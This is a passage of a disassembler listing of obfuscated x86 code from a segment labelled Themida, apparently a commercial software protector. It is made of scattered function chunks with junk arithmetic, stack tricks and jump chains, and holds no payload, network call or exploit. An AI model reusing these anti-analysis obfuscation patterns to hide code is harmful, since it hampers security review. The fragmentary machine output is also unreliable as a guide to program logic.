; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_5644B6: ; CODE XREF: sub_56AEF2-E21j
mov [esp-0Ch+arg_8], ebp
mov ebp, 40F4004Ah
jmp loc_562174
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 231Ch
jmp loc_568F97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_5644D0: ; CODE XREF: sub_569DB5+1C16j
mov ecx, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
jmp loc_5738D2
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570019
loc_5644E1: ; CODE XREF: sub_570019-9088j
add ecx, 4
push eax
mov eax, 0E250DFEh
dec eax
xor eax, 0E250DF9h
add ecx, eax
pop eax
xchg ecx, [esp-4+arg_0]
pop esp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_570019
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_5644FF: ; CODE XREF: sub_574304-9C59j
pop ebp
pop esi
push edi
jmp loc_56AE9E
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1B8
loc_564507: ; CODE XREF: sub_56E1B8+1F72j
add eax, 2
xchg eax, [esp+0]
jmp loc_56F6B2
; END OF FUNCTION CHUNK FOR sub_56E1B8
; ---------------------------------------------------------------------------
loc_564512: ; CODE XREF: Themida_:0056E4A1j
sub [esp+4], ecx
pop ecx
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56451C: ; CODE XREF: sub_574656-3398j
sub dword ptr [esp+4], 5EDC7FDCh
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_56A9C6
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_564532: ; CODE XREF: sub_563FA2+FD89j
inc eax
or eax, 2C414068h
dec eax
xor eax, 0BF6FF4EFh
add ecx, eax
jmp loc_571AC6
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
loc_564545: ; DATA XREF: Themida_:0055FCCCo
mov ax, [esp]
push 0DB3h
mov [esp], edx
jmp loc_57327D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_564556: ; CODE XREF: sub_568E5C-40CAj
mov ebx, 0BACC1379h
sub ebx, ecx
pop ecx
sub eax, ebx
pop ebx
jmp loc_574E3E
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_564566: ; CODE XREF: sub_5747D7-ED93j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+8+var_8]
pop esp
or eax, 32EC43BCh
not eax
jmp loc_56CB8C
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_564582: ; CODE XREF: sub_569193-2D14j
add edx, 4
push edi
push edx
push ebx
mov ebx, 6C8316E0h
jmp loc_5708A7
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_564595: ; CODE XREF: sub_56AEF2-68FDj
add ecx, 0B55ACF71h
jmp loc_56A0C4
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56306E
loc_5645A0: ; CODE XREF: sub_56306E+C17Dj
pop edx
add ecx, edx
push eax
push ebx
mov ebx, 3E5E1250h
add ebx, 1
shl ebx, 1
sub ebx, 7DED138Dh
sub ebx, 0A6A2AF6Ah
mov eax, ebx
jmp loc_568A0E
; END OF FUNCTION CHUNK FOR sub_56306E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_5645C5: ; CODE XREF: sub_5634AF+21F8j
pop edx
sub edx, 57472D9Fh
pop ecx
mov esi, edx
pop edx
pop ebp
jmp loc_566AD5
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_5645D6: ; CODE XREF: sub_56657A+D105j
movzx cx, ah
jmp loc_562A34
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D72
loc_5645DF: ; CODE XREF: sub_567D72+4409j
xor eax, [esp+8+var_8]
jmp loc_57138E
; END OF FUNCTION CHUNK FOR sub_567D72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_5645E7: ; CODE XREF: sub_56AEF2-2120j
mov ecx, 62BF4C29h
sub ecx, esi
pop esi
add ecx, 0FFFFFFFFh
jmp loc_564595
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5645FA: ; CODE XREF: sub_57354D-4CD7j
push 3684h
mov [esp+0Ch+var_C], edi
push 0CBBD96D4h
jmp loc_56D5C7
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_56460C: ; CODE XREF: sub_5754DA-DD99j
mov cx, word ptr [esp+6+var_8+2]
jmp loc_568424
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_564615: ; CODE XREF: sub_570E81-6FC9j
mov ecx, 4F294C6Fh
shl ecx, 7
xor ecx, 0D9458CEh
dec ecx
sub ecx, 43AC37D2h
jmp loc_57479A
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_56462F: ; CODE XREF: sub_56BD44-387Fj
pop eax
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
jmp loc_5696D9
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573876
loc_56463B: ; CODE XREF: sub_573876-A9A6j
xor ecx, 1E04972h
jmp loc_566271
; END OF FUNCTION CHUNK FOR sub_573876
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_564646: ; CODE XREF: sub_56BC97-8BA2j
xchg edx, [esp+4+var_4]
pop esp
jmp loc_56B73C
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_56464F: ; CODE XREF: sub_56D359+506Dj
mov edi, 44AB068Eh
jmp loc_561733
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C12
loc_564659: ; CODE XREF: sub_560C12+19BFj
mov esp, [esp+8+var_8]
mov [esp+0], esp
push 6A5Ah
mov [esp+4+var_4], esi
mov esi, 4
add [esp+4], esi
pop esi
push dword ptr [esp+0]
jmp loc_568D7A
; END OF FUNCTION CHUNK FOR sub_560C12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_564679: ; CODE XREF: sub_5638E4+956Dj
mov esi, esp
push ebx
mov ebx, 5FA550FDh
jmp loc_56B599
; END OF FUNCTION CHUNK FOR sub_5638E4
; =============== S U B R O U T I N E =======================================
sub_564686 proc near ; CODE XREF: sub_56B06D-133Dj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00565488 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565901 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056A2CB SIZE 0000006D BYTES
; FUNCTION CHUNK AT 0056F7CC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570EF6 SIZE 00000008 BYTES
sub esp, 4
jmp loc_570EF6
sub_564686 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_564691: ; CODE XREF: sub_56BD44+3j
mov [esp+4+var_4], ebp
jmp loc_571A81
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DFF9
loc_564699: ; CODE XREF: sub_56DFF9+1DE6j
mov ecx, 22885DA4h
neg ecx
xchg eax, ecx
jmp loc_564478
; END OF FUNCTION CHUNK FOR sub_56DFF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_5646A6: ; CODE XREF: sub_564BC5+926Aj
pop edi
pop eax
shl edx, 5
push ecx
mov ecx, 0E85C1244h
jmp loc_564F74
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5646B6: ; CODE XREF: sub_568E5C+1B65j
sub edx, 12FACDDCh
jmp loc_5706B5
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
loc_5646C1: ; CODE XREF: Themida_:0056B037j
sub eax, edx
pop edx
mov ebx, eax
pop eax
add ebp, ebx
jmp loc_571A3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_5646CE: ; CODE XREF: sub_56D359+5FD9j
mov ebp, 4
add eax, 0B470314h
add eax, ebp
sub eax, 0B470314h
jmp loc_569A52
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567866
loc_5646E4: ; CODE XREF: sub_567866-50EEj
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
add eax, 4
xor eax, [esp+0]
xor [esp+0], eax
xor eax, [esp+0]
pop esp
push dword ptr [eax]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_567866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_564702: ; CODE XREF: sub_57354D-5C24j
neg eax
add eax, 0B81F5B41h
xor edx, eax
pop eax
add ebp, 15A50815h
sub ebp, edx
sub ebp, 15A50815h
pop edx
or ebp, 68B76A6Fh
sub ebp, 7FBDFF6Fh
and eax, ebp
jmp loc_571EE1
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_56472E: ; CODE XREF: sub_56657A+48CCj
xor ebp, 9F16EFB0h
add edx, ebp
pop ebp
jmp loc_5631F8
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_56473C: ; CODE XREF: sub_57523A-4956j
mov ecx, 7B9E311Ah
jmp loc_566A27
; END OF FUNCTION CHUNK FOR sub_57523A
; =============== S U B R O U T I N E =======================================
sub_564746 proc near ; DATA XREF: Themida_:0055FEB4o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056B341 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C10C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056FAA0 SIZE 0000000E BYTES
lodsb
sub esp, 4
mov [esp+4+var_4], ecx
mov cl, 53h
shl cl, 2
shr cl, 1
push eax
mov ah, bh
mov bh, cl
jmp loc_56C10C
sub_564746 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_564761: ; CODE XREF: sub_56628B+DA13j
shr eax, 6
shl eax, 7
push 0
jmp loc_56CB76
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_564771: ; CODE XREF: sub_561027+128E5j
add esp, 4
push 5499h
mov [esp+1Ch+var_1C], esi
mov esi, 400h
jmp loc_564163
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_564786: ; CODE XREF: sub_56651E+38BBj
sub ebp, 4
xchg ebp, [esp+4+var_4]
jmp loc_5734C1
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D1DD
loc_564794: ; CODE XREF: sub_56D1DD+20j
pop ebx
push eax
mov eax, 167A2C56h
add ebp, eax
pop eax
sub ebp, edi
jmp sub_566C83
; END OF FUNCTION CHUNK FOR sub_56D1DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_5647A5: ; CODE XREF: sub_5684A6-8243j
xor ecx, 60212BCAh
xor edi, ecx
pop ecx
push esi
jmp loc_56141E
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_5647B4: ; CODE XREF: sub_572E16-8A13j
xor ecx, esi
pop esi
push ebp
mov ebp, 87CB84DDh
add ecx, ebp
pop ebp
sub ebp, 57522D95h
add ebp, ecx
add ebp, 57522D95h
pop ecx
jmp loc_570D0D
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5647D4: ; CODE XREF: sub_5685B2-6DBFj
xor cl, 8
add bh, cl
pop ecx
or dl, bh
pop ebx
xor dl, 71h
jmp loc_560CBE
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747AF
loc_5647E5: ; CODE XREF: sub_5747AF+18j
mov [esp+14h+var_14], esp
push ebp
jmp loc_564CFB
; END OF FUNCTION CHUNK FOR sub_5747AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_5647EE: ; CODE XREF: sub_56657A+DDEDj
mov ecx, ebp
pop ebp
push edx
push 76AD46FDh
pop edx
jmp loc_56CF7D
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_5647FD: ; CODE XREF: sub_570732-E9AEj
mov [esp+8+var_8], ebx
push esp
pop ebx
add ebx, 4
push 4CADh
mov [esp+0Ch+var_C], esi
push edi
push ecx
mov ecx, 10834D96h
or ecx, 59B27041h
not ecx
xor ecx, 0A64C822Ch
mov edi, ecx
pop ecx
mov esi, edi
pop edi
sub ebx, 2D3C1DC4h
add ebx, esi
jmp loc_56AACB
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_564838: ; CODE XREF: sub_56A608-9E2Ej
mov ecx, 48822E75h
jmp loc_56826D
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_564842: ; CODE XREF: sub_574CBE-80EEj
push esi
mov esi, 53EC48E1h
xor esi, 5EE0277Dh
sub esp, 4
mov [esp+14h+var_14], ecx
mov ecx, 68FD001Ah
dec ecx
jmp loc_56CED2
; ---------------------------------------------------------------------------
loc_564862: ; CODE XREF: sub_574CBE-269Bj
push 65B80E40h
pop edi
push eax
mov eax, 580E52E0h
sub eax, 2183021Eh
sub eax, 73C5500h
and eax, 253B4C26h
sub eax, 0E2C52224h
add eax, 2A9468CDh
shr eax, 3
shl eax, 6
not eax
jmp loc_56EB15
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_564894: ; CODE XREF: sub_568E5C+8EF9j
pop esp
push ecx
jmp loc_565774
; END OF FUNCTION CHUNK FOR sub_568E5C
; =============== S U B R O U T I N E =======================================
sub_56489B proc near ; CODE XREF: sub_57117B+31Cj
var_4 = word ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005622F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F553 SIZE 00000007 BYTES
sub esp, 2
mov [esp+0], ax
mov al, 6
sub cl, al
pop ax
jmp loc_56F553
sub_56489B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_5648B0: ; CODE XREF: sub_565B6E+EC27j
push 2F91h
jmp loc_56EF01
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_5648BA: ; CODE XREF: sub_56D855-4665j
xor ecx, [esp+10h+var_10]
pop esp
push ebp
mov ebp, esp
jmp loc_56EA2E
; END OF FUNCTION CHUNK FOR sub_56D855
; =============== S U B R O U T I N E =======================================
sub_5648C6 proc near ; CODE XREF: sub_56B1DC-AE8Bj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560FB1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056151E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056420A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00566706 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566994 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566F0F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00568C88 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005699E1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056B8D8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056BB65 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D07A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056E2E0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00570C42 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005721F7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005748ED SIZE 00000022 BYTES
push ebp
jmp loc_566706
sub_5648C6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_5648CC: ; CODE XREF: sub_572DD7-3950j
sub dword ptr [esp+4], 44145098h
sub [esp+4], esi
add dword ptr [esp+4], 44145098h
pop esi
add dword ptr [esp+0], 5248226Bh
sub [esp+0], eax
sub dword ptr [esp+0], 5248226Bh
push ebx
push edi
push ecx
mov ecx, 23B73080h
sub ecx, 6DE3A1h
jmp loc_573F55
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B79
loc_564905: ; CODE XREF: sub_566B79+8383j
mov [esp+0], eax
mov eax, 4
add [esp+arg_0], eax
push dword ptr [esp+0]
jmp loc_562541
; END OF FUNCTION CHUNK FOR sub_566B79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_564919: ; CODE XREF: sub_5638E4+1540j
sub esi, 4F1B41C6h
pop ebx
add esi, 4
xchg esi, [esp+4+var_4]
mov esp, [esp+4+var_4]
sub bl, 5Fh
xor al, bl
pop ebx
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push [esp-4+arg_0]
pop eax
push edi
mov edi, esp
push edx
mov edx, 0A8857EEh
neg edx
neg edx
push edi
mov edi, 63FD4D87h
jmp loc_565EB9
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_564953: ; CODE XREF: sub_560056+4FD0j
add eax, 4
push edi
jmp loc_56F91E
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_56495E: ; CODE XREF: sub_56D4B8+4934j
push ecx
sub [esp-8+arg_4], 780803FBh
push [esp-8+arg_4]
mov eax, [esp-4+arg_0]
add esp, 4
push 417Bh
mov [esp-4+arg_0], edi
push esp
pop edi
push ebp
mov ebp, 2ECE7B60h
or ebp, 363D0377h
push edi
mov edi, 0FFFFFFFFh
sub ebp, edi
pop edi
sub ebp, 1
shr ebp, 7
dec ebp
push eax
mov eax, 4D197352h
sub eax, 0DE75815h
sub eax, 404E6C4Dh
shr eax, 3
xor eax, 28183269h
xor eax, 0C84646B8h
jmp loc_5612BA
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
loc_5649BA: ; CODE XREF: Themida_:0056042Dj
xor [esp], esi
xor esi, [esp]
pop esp
push ebx
push esi
push 338D7560h
mov esi, [esp]
add esp, 4
xor esi, 434871ADh
shr esi, 7
xor esi, 0AFBE536h
jmp loc_570D43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_5649E5: ; CODE XREF: sub_574656-7DFj
xchg ecx, ebx
push ebp
mov ebp, 5D7E1130h
sub ebp, 6BDE2115h
xor ebp, 48785C27h
shr ebp, 3
push esi
jmp loc_56CF9B
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_564A02: ; CODE XREF: sub_573612-E179j
add esi, 4
jmp loc_56FEBF
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_564A0A: ; CODE XREF: sub_572641-8641j
xchg ebp, [esp+6+var_8+2]
pop esp
jmp sub_5731F9
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_564A13: ; CODE XREF: sub_5690E8-62B1j
mov ebp, [esp+8+var_8]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
jmp loc_563B3E
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_564A2D: ; CODE XREF: sub_574949-C791j
add cl, dh
add cl, 0C7h
pop edx
jmp loc_560E90
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_564A38: ; CODE XREF: sub_566DFE+D8D8j
add edi, esi
jmp loc_57149C
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56626B
loc_564A3F: ; CODE XREF: sub_56626B+1j
mov bh, 7
sub bh, 2Ah
jmp loc_57243D
; END OF FUNCTION CHUNK FOR sub_56626B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_564A49: ; CODE XREF: sub_564D26+ADE1j
mov [esp+10h+var_10], edx
mov edx, 748E6EE8h
add edx, 231966C3h
add edx, 72F409CEh
jmp loc_56FF6E
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
loc_564A62: ; CODE XREF: Themida_:0056CE25j
pop esp
jmp loc_56CDFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_564A68: ; CODE XREF: sub_5747D7+6j
mov [esp+4+var_4], esp
push eax
jmp loc_56426E
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_564A71: ; CODE XREF: sub_5605BC+12525j
xor ebx, [esp+28h+var_28]
xor [esp+28h+var_28], ebx
xor ebx, [esp+28h+var_28]
pop esp
mov [esp+24h+var_24], ebp
push 319Bh
mov [esp+28h+var_28], ecx
push 744Fh
mov [esp+0], esi
mov esi, 76446D97h
mov ecx, esi
pop esi
sub ecx, 6CAB70D6h
and ecx, 436A0E21h
push esi
push edx
mov edx, 6C235ED3h
mov esi, 6C235ED2h
jmp loc_567856
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_564AB3: ; CODE XREF: sub_574304+7DDj
pop ebp
push [esp+8+var_8]
pop edi
add esp, 4
push 2480h
jmp loc_56B1F3
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C3E2
loc_564AC5: ; CODE XREF: sub_56C3E2+2Fj
add ebp, 353A0927h
add ebp, edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_563CAA
; END OF FUNCTION CHUNK FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D9E
loc_564AE1: ; CODE XREF: sub_568D9E+3803j
add edx, ebp
sub edx, 51A900D5h
mov ebp, [esp+4+var_4]
add esp, 4
xor edx, 2B3127ABh
or eax, edx
pop edx
push esi
mov esi, 9AA0393Eh
add eax, esi
pop esi
sub eax, edi
push dword ptr [esp+0]
jmp loc_57475F
; END OF FUNCTION CHUNK FOR sub_568D9E
; =============== S U B R O U T I N E =======================================
sub_564B0B proc near ; DATA XREF: Themida_:0055FE2Co
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0056AF7F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056E1D1 SIZE 0000001F BYTES
push ebx
mov ebx, esp
push edx
mov edx, 4
sub ebx, 69C835A5h
sub ebx, 24F21996h
add ebx, edx
add ebx, 24F21996h
jmp loc_56E1D1
sub_564B0B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_564B2D: ; CODE XREF: sub_575420-D52Fj
mov [esp+14h+var_14], ecx
mov cl, ah
jmp loc_56164C
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_564B37: ; CODE XREF: sub_57146D-57DBj
sub esi, 4
xchg esi, [esp+10h+var_10]
pop esp
mov [esp+0Ch+var_C], eax
mov ah, 80h
inc ah
neg ah
xor ah, 0F3h
shl ah, 8
jmp loc_568C8E
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_564B52: ; CODE XREF: sub_56E126-4193j
mov [esp+4+var_4], esi
jmp loc_565C76
; END OF FUNCTION CHUNK FOR sub_56E126
; =============== S U B R O U T I N E =======================================
sub_564B5A proc near ; CODE XREF: sub_574503+D0Ej
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00568BC1 SIZE 00000008 BYTES
sub esp, 4
jmp loc_568BC1
sub_564B5A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_564B65: ; CODE XREF: sub_575420-13DC8j
mov ebx, [esp+0Ch+var_C]
add esp, 4
add bh, dl
pop dx
add al, 0F4h
sub al, 0A1h
jmp loc_571E44
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_564B78: ; CODE XREF: sub_563A7F-1E63j
add esp, 4
xor al, dl
pop edx
push edx
push ebx
jmp loc_565E2D
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_564B88: ; CODE XREF: sub_572075-59F8j
add ecx, 51BA3346h
add ecx, ebp
sub ecx, 51BA3346h
jmp loc_5720C0
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_564B9B: ; CODE XREF: sub_56A7FB+9413j
push cx
push edx
jmp loc_560FBF
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_564BA3: ; CODE XREF: sub_566AF9+2AC6j
mov eax, 5D917D94h
inc eax
add eax, 16CA6A20h
jmp loc_56C6F8
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_564BB3: ; CODE XREF: sub_56EE9F-B307j
xor edi, 1B384420h
inc edi
push ecx
mov ecx, 35E118Ah
jmp loc_56C65D
; END OF FUNCTION CHUNK FOR sub_56EE9F
; =============== S U B R O U T I N E =======================================
sub_564BC5 proc near ; CODE XREF: sub_563DCB+10534j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056353A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563AFA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005646A6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564F74 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A093 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A79A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056AE8B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056BD2E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DE25 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056DF59 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056EA1A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571722 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571FAD SIZE 00000008 BYTES
sub esp, 4
jmp loc_56353A
sub_564BC5 endp
; =============== S U B R O U T I N E =======================================
sub_564BD0 proc near ; DATA XREF: Themida_:0055FD5Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push dword ptr [esp+0]
pop ecx
push 4383h
mov [esp+4+var_4], ebp
sub esp, 4
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
mov ebp, [esp+8+var_8]
push 1607h
mov [esp+0Ch+var_C], ebp
mov ebp, esp
jmp sub_574CDD
sub_564BD0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D93
